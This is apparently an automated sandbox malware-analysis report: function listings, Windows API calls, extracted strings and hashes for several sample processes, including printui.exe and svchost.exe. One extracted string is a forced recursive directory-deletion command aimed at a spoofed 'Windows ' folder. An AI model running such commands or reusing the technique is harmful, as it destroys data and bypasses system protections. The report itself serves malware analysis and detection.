GetLastError.KERNEL32 ref: 00007FF646E588FF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF646E4B571), ref: 00007FF646E58934
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF646E4B571), ref: 00007FF646E58942

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 25339e7a552c1f5e1cf2dbfc7988e23db3c9975486644391a109ba6f3d96e73b
Instruction ID: 7f3a42dfab52351002c071759e85ae23c4277421102e85720e2733f3a64d92e3
Opcode Fuzzy Hash: 25339e7a552c1f5e1cf2dbfc7988e23db3c9975486644391a109ba6f3d96e73b
Instruction Fuzzy Hash: 4C211876A1CB9586E320AF11A44432EB7B4FB89B94F244539DB8D93B55DF39D8068B00

Function 00007FF646E586FC Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

GetFileInformationByHandleEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF646E58E12,?,?,?,00007FF646E455A6), ref: 00007FF646E58728
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF646E58E12,?,?,?,00007FF646E455A6), ref: 00007FF646E58736
GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF646E58E12,?,?,?,00007FF646E455A6), ref: 00007FF646E5874E

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: FileHandleInformation$ErrorLast
String ID:
API String ID: 3070998852-0
Opcode ID: 6990d8e371be0eb46f30ceadd86b13aea8d53be9ad5218298b234a77ccbc6518
Instruction ID: 4324b4fb80819e2eb99109b62a6140056f532ed9107a22793f2e07cd3f13f68e
Opcode Fuzzy Hash: 6990d8e371be0eb46f30ceadd86b13aea8d53be9ad5218298b234a77ccbc6518
Instruction Fuzzy Hash: 1401213170CA4185EB60BB61E84016AB3E1BF48BC4F548835DA8DC7799DE3DD455C740

Function 00007FF646E587E8 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

SetFileInformationByHandle.KERNEL32 ref: 00007FF646E58808
GetLastError.KERNEL32 ref: 00007FF646E58812
SetFileInformationByHandle.KERNEL32 ref: 00007FF646E58845
GetLastError.KERNEL32 ref: 00007FF646E5884F

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ErrorFileHandleInformationLast
String ID:
API String ID: 275135790-0
Opcode ID: 189db887cbd54416728a2c52c8d663a7f58f90dcc3549c8f39d5c895ca1655f4
Instruction ID: efc47bbbb4a8bbf0afc92e0e1b8be576cc838d51479a6b842c49fc815dec2acf
Opcode Fuzzy Hash: 189db887cbd54416728a2c52c8d663a7f58f90dcc3549c8f39d5c895ca1655f4
Instruction Fuzzy Hash: C4F0A431A0C15286FB687BA1E8546B6A7E0FF54705F440939C60EC25A5EF2EE9898742

Function 00007FF646E5869C Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

CreateSymbolicLinkW.KERNEL32 ref: 00007FF646E586B8
GetLastError.KERNEL32 ref: 00007FF646E586C2
CreateSymbolicLinkW.KERNEL32 ref: 00007FF646E586D6
GetLastError.KERNEL32 ref: 00007FF646E586E0

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CreateErrorLastLinkSymbolic
String ID:
API String ID: 191780330-0
Opcode ID: 9dc62a7cf823184e85012eaed8589f325e11e2e6911a0eff8293541a438384c3
Instruction ID: 27bad891780e7da37d8bc3de926a68c229b52f6dfdbc7ea72b48d150511029c4
Opcode Fuzzy Hash: 9dc62a7cf823184e85012eaed8589f325e11e2e6911a0eff8293541a438384c3
Instruction Fuzzy Hash: 54F03A10B2C6A2C2EFA07B52B44402BA3A0BF55BC5B045530D94D83A16CF6ED4868700

Function 00007FF646E5EC1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF646E5EC46

Strings

csm, xrefs: 00007FF646E5EC6B
csm, xrefs: 00007FF646E5EDDA

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 0f82fb2d3ad31d1d66fdef862e6fc3d28219c5a25c697c5c52fec34cb4bfdd94
Instruction ID: 0ce777a2bf4f269a82a740b75d2689da0f0b9ead8e5f8043d75c22f78927a978
Opcode Fuzzy Hash: 0f82fb2d3ad31d1d66fdef862e6fc3d28219c5a25c697c5c52fec34cb4bfdd94
Instruction Fuzzy Hash: DD71BE7291C68186EB60BFA194447BDBBE1FB40B89F089135DE4C87A89CF2ED591CB41

Function 00007FF646E47570 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E47755

Strings

rmdir /s /q "{}Windows \", xrefs: 00007FF646E46308, 00007FF646E47657

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: rmdir /s /q "{}Windows \"
API String ID: 3668304517-3837830258
Opcode ID: a759d48ec16a8946202d260abdf6d8aed099bd78d688fbf9fb871c07463b6b49
Instruction ID: a8f64c2cc37b6b42e60fde13c2cf1a6868281f213fcda1ef4900a10b4478837a
Opcode Fuzzy Hash: a759d48ec16a8946202d260abdf6d8aed099bd78d688fbf9fb871c07463b6b49
Instruction Fuzzy Hash: 3C517D72B0DB8199EB00AF78D4803EC63E1FB54798F406636EA5D93A99EF79D194C340

Function 00007FF646E5F2B4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF646E5F35E
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF646E5F387

Strings

csm, xrefs: 00007FF646E5F487

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: ad2ba110bbec0c490ddea6de1ab49c95b7244d5675ece0e49c85581df8a2d1ef
Instruction ID: 9e53d82f4d886b38e530147312dacc77ab05c3a97aecf9c2d97223d9349bb5ad
Opcode Fuzzy Hash: ad2ba110bbec0c490ddea6de1ab49c95b7244d5675ece0e49c85581df8a2d1ef
Instruction Fuzzy Hash: 4B512B7661C74186EA20FB66E54026DBBE4FB88B90F101139EB8D87B66CF3DE451CB01

Function 00007FF646E63C28 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E63C5C
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF646E5ABB5), ref: 00007FF646E63C78

Strings

C:\Users\user\Desktop\Ld0f3NDosJ.exe, xrefs: 00007FF646E63C66

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\Ld0f3NDosJ.exe
API String ID: 3307058713-2886519679
Opcode ID: dc08b98884e5cc01c5dfc0b6debda3346ccd11862c75ac40e9c1eaeda5616f18
Instruction ID: d810d6d99a5edc8f95b9db752d203c9042ce33e50ad038f76d82a37624b38030
Opcode Fuzzy Hash: dc08b98884e5cc01c5dfc0b6debda3346ccd11862c75ac40e9c1eaeda5616f18
Instruction Fuzzy Hash: 44414E36A0CB1285E714FF25D4400BDA7E4FF847D4B956035EA4E87B95DE3AE4828750

Function 00007FF646E68010 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF646E68128
GetLastError.KERNEL32 ref: 00007FF646E6814D

Strings

U, xrefs: 00007FF646E680D2

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 25aa8f2d82525bf823d4221f4dd8133c36d17dee247ba30e8a756d0ec50b3ddd
Instruction ID: c28224fc0e200d31ab1b33d8899f0a618f4ffda885c31f2edf8474580553f9d5
Opcode Fuzzy Hash: 25aa8f2d82525bf823d4221f4dd8133c36d17dee247ba30e8a756d0ec50b3ddd
Instruction Fuzzy Hash: DD41E362A1DA8186EB50BF25E4047AAB7E0FB88784F841131EB4DC7758EF7DD445C710

Function 00007FF646E5C9E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF646E4118F), ref: 00007FF646E5CA30
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF646E4118F), ref: 00007FF646E5CA71

Strings

csm, xrefs: 00007FF646E5CA5E

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b1403b4c9b76349453813f366b5515ddc48ecabc2ad87a5b831bc11eca843e65
Instruction ID: 95f3fed40b7efaff98be51a89e3416b75517f72c27bebc466c8a43df0c5bb544
Opcode Fuzzy Hash: b1403b4c9b76349453813f366b5515ddc48ecabc2ad87a5b831bc11eca843e65
Instruction Fuzzy Hash: 79115B7260CB8082EB60EB15E450269BBE4FB88B88F584234EE8D47759DF3DC551CB00

Analysis Process: pyld64.exePID: 4388, Parent PID: 5088COMMON

Non-executed Functions

Function 00007FF7FC903EF0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7FC903F1C
GetCurrentThreadId.KERNEL32 ref: 00007FF7FC903F2A
GetCurrentProcessId.KERNEL32 ref: 00007FF7FC903F36
QueryPerformanceCounter.KERNEL32 ref: 00007FF7FC903F46

Memory Dump Source

Source File: 0000000E.00000002.2442201936.00007FF7FC8E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7FC8E0000, based on PE: true

Associated: 0000000E.00000002.2442152956.00007FF7FC8E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000E.00000002.2444309888.00007FF7FD755000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000E.00000002.2444335818.00007FF7FD758000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7fc8e0000_pyld64.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 4c1b95cfeb29d36a2191ca800c4b776805e3dc359a3975e0c0840d805d58c9f8
Instruction ID: dc4c43837b26b994d30c867c55cc00ff37de7dfc6b0870c3d0e838e6607a2deb
Opcode Fuzzy Hash: 4c1b95cfeb29d36a2191ca800c4b776805e3dc359a3975e0c0840d805d58c9f8
Instruction Fuzzy Hash: 93115136B14F018AEB00DF70E8552B873A4FB59768F840E35DA2D477A4DF38D2548390

Analysis Process: usvcinsta64.exePID: 2736, Parent PID: 6252COMMON

Non-executed Functions

Function 00007FF6B8FB9BE4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6B8FB9C10
GetCurrentThreadId.KERNEL32 ref: 00007FF6B8FB9C1E
GetCurrentProcessId.KERNEL32 ref: 00007FF6B8FB9C2A
QueryPerformanceCounter.KERNEL32 ref: 00007FF6B8FB9C3A

Memory Dump Source

Source File: 00000018.00000002.2514290910.00007FF6B8FA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6B8FA0000, based on PE: true

Associated: 00000018.00000002.2514115938.00007FF6B8FA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.2514383144.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.2516395872.00007FF6B9DA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.2516413364.00007FF6B9DA3000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6b8fa0000_usvcinsta64.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 708b7739343b0ed83ac0f76d64139286e1ea8fe78b9a00fa0674ff42a1f590b5
Instruction ID: 46ad6b3313d5aa512539158ed786a66dd59f0658803ef29a4b255ce6d07b0c97
Opcode Fuzzy Hash: 708b7739343b0ed83ac0f76d64139286e1ea8fe78b9a00fa0674ff42a1f590b5
Instruction Fuzzy Hash: 3D114832B14F028AEB00CF74E8442A833A4FB2A759F041E31DB6D837A4DF38D1698344

Analysis Process: printui.exePID: 4388, Parent PID: 4888COMMON

Execution Graph

Execution Coverage:	34.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF68C6210E0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 195
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapSetInformation.KERNEL32 ref: 00007FF68C621111
LoadCursorW.USER32 ref: 00007FF68C62113E
GetStockObject.GDI32 ref: 00007FF68C621150
RegisterClassW.USER32 ref: 00007FF68C62116F
CreateWindowExW.USER32 ref: 00007FF68C6211B9
RegCreateKeyExW.KERNELBASE ref: 00007FF68C6211FE
RegQueryValueExW.KERNELBASE ref: 00007FF68C621242
RegDeleteValueW.ADVAPI32 ref: 00007FF68C62126E
RegSetValueExW.KERNELBASE ref: 00007FF68C6212A6
RegCloseKey.KERNELBASE ref: 00007FF68C6212B6
GetLastError.KERNEL32 ref: 00007FF68C6212C4
LoadLibraryW.KERNELBASE ref: 00007FF68C6212D7
GetLastError.KERNEL32 ref: 00007FF68C6212EB
GetProcAddress.KERNEL32 ref: 00007FF68C621305
GetLastError.KERNEL32 ref: 00007FF68C621319
GetCommandLineW.KERNEL32 ref: 00007FF68C621327
FreeLibrary.KERNELBASE ref: 00007FF68C621355
RegOpenKeyExW.KERNELBASE ref: 00007FF68C621384
RegQueryValueExW.KERNELBASE ref: 00007FF68C6213BF
RegCloseKey.KERNELBASE ref: 00007FF68C6213CF
RegDeleteKeyExW.KERNELBASE ref: 00007FF68C6213EB
GetLastError.KERNEL32 ref: 00007FF68C6213F9
DestroyWindow.USER32 ref: 00007FF68C62140D

Strings

printui.dll, xrefs: 00007FF68C6212D0
UIEntry, xrefs: 00007FF68C62120A, 00007FF68C6213B8
PrintUIEntryW, xrefs: 00007FF68C6212FB
StubPrintWindow, xrefs: 00007FF68C62115C
Software\Microsoft\Windows\CurrentVersion\PrinterInstallation, xrefs: 00007FF68C6211CB, 00007FF68C62137A, 00007FF68C6213DE

Memory Dump Source

Source File: 00000028.00000002.2603323584.00007FF68C621000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF68C620000, based on PE: true

Associated: 00000028.00000002.2603302577.00007FF68C620000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603364581.00007FF68C624000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff68c620000_printui.jbxd

Similarity

API ID: ErrorLastValue$CloseCreateDeleteLibraryLoadQueryWindow$AddressClassCommandCursorDestroyFreeHeapInformationLineObjectOpenProcRegisterStock
String ID: PrintUIEntryW$Software\Microsoft\Windows\CurrentVersion\PrinterInstallation$StubPrintWindow$UIEntry$printui.dll
API String ID: 2613610799-4035671587
Opcode ID: e89becaa4b4c2da40ab99fedc63f44ed43bcaaa6e32622ee94d5cb7eade183ba
Instruction ID: a2e38c170dce36f001aa98e3861e2c2eb697915b21fc9f1b116636c62b2ef146
Opcode Fuzzy Hash: e89becaa4b4c2da40ab99fedc63f44ed43bcaaa6e32622ee94d5cb7eade183ba
Instruction Fuzzy Hash: EDA12932A18A42CAEB118B60E4647B97BA0FF4DB99F415139DB1E87B54DF38D485D700

Function 00007FF68C621570 Relevance: 10.6, APIs: 7, Instructions: 143
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 00007FF68C621598
Sleep.KERNEL32 ref: 00007FF68C6215CF
_amsg_exit.MSVCRT ref: 00007FF68C6215ED
_initterm.MSVCRT ref: 00007FF68C621678
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF68C6216A5
exit.KERNELBASE ref: 00007FF68C62174A
_cexit.MSVCRT ref: 00007FF68C621759

Memory Dump Source

Source File: 00000028.00000002.2603323584.00007FF68C621000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF68C620000, based on PE: true

Associated: 00000028.00000002.2603302577.00007FF68C620000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603364581.00007FF68C624000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff68c620000_printui.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_cexit_inittermexit
String ID:
API String ID: 642454821-0
Opcode ID: d036f23a73c2ceeb0dc0bbf8eea258f05a7f4c7e4edc28ade6a86160fbf4be78
Instruction ID: e2c88115207ee3f7db3dad7e61d92f6d9125ffb7aeae9590ddd1031f3ccf375b
Opcode Fuzzy Hash: d036f23a73c2ceeb0dc0bbf8eea258f05a7f4c7e4edc28ade6a86160fbf4be78
Instruction Fuzzy Hash: 2A612425A0D643C2EB628B11A960A3923A5BF8CB80F584139DA4DD36A4DF3DEDC1E700

Function 00007FF68C621520 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wgetmainargs.KERNELBASE ref: 00007FF68C621558

Memory Dump Source

Source File: 00000028.00000002.2603323584.00007FF68C621000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF68C620000, based on PE: true

Associated: 00000028.00000002.2603302577.00007FF68C620000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603364581.00007FF68C624000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff68c620000_printui.jbxd

Similarity

API ID: __wgetmainargs
String ID:
API String ID: 1709950718-0
Opcode ID: fb17b9cf0bb6e0d9112bc9002bd240893ebb992b9e28e092c31673401121c9b0
Instruction ID: 868366834460a14921c03b5fb98cd45c79ef633da5ef9b79d83795c249ea7a5a
Opcode Fuzzy Hash: fb17b9cf0bb6e0d9112bc9002bd240893ebb992b9e28e092c31673401121c9b0
Instruction Fuzzy Hash: D8E07574E09E47D6EA12CB10E9609A4B768BF1C754B80003AC50D93720DF3CA289EB24

Non-executed Functions

Function 00007FF68C621A54 Relevance: 9.0, APIs: 6, Instructions: 49
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF68C621A84
GetCurrentProcessId.KERNEL32 ref: 00007FF68C621A92
GetCurrentThreadId.KERNEL32 ref: 00007FF68C621A9E
GetTickCount.KERNEL32 ref: 00007FF68C621AAA
GetTickCount.KERNEL32 ref: 00007FF68C621ABA
QueryPerformanceCounter.KERNEL32 ref: 00007FF68C621AD5

Memory Dump Source

Source File: 00000028.00000002.2603323584.00007FF68C621000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF68C620000, based on PE: true

Associated: 00000028.00000002.2603302577.00007FF68C620000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000028.00000002.2603364581.00007FF68C624000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff68c620000_printui.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 620f975a63dfef7962d64ab17e7f439f8fad081d60c42cdb74dd755226332b19
Instruction ID: 62dd4c5125aa4d387c6ecf8000f50d0a643c2d84fb4c78bc1f207de11493f4c4
Opcode Fuzzy Hash: 620f975a63dfef7962d64ab17e7f439f8fad081d60c42cdb74dd755226332b19
Instruction Fuzzy Hash: BC111D22A04F41CAEB11DF60E86826833A4FB4C758F400A39EB6D87B54EF7CD6A4D340

Analysis Process: svchost.exePID: 5564, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	126

Executed Functions

Function 00007FFDA55CBA86 Relevance: 177.7, APIs: 57, Strings: 44, Instructions: 927COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CBE3B

Part of subcall function 00007FFDA55C7DB0: GetModuleHandleA.KERNEL32 ref: 00007FFDA55C7DF6
Part of subcall function 00007FFDA55C7DB0: GetProcAddress.KERNEL32 ref: 00007FFDA55C7E06

Strings

TLS_CHACHA20_POLY1305_SHA256, xrefs: 00007FFDA55CC3BA
schannel: This version of Schannel does not support setting an algorithm cipher list and TLS 1.3 cipher list at the same time, xrefs: 00007FFDA55CC697
ChainingModeGCM, xrefs: 00007FFDA55CC548
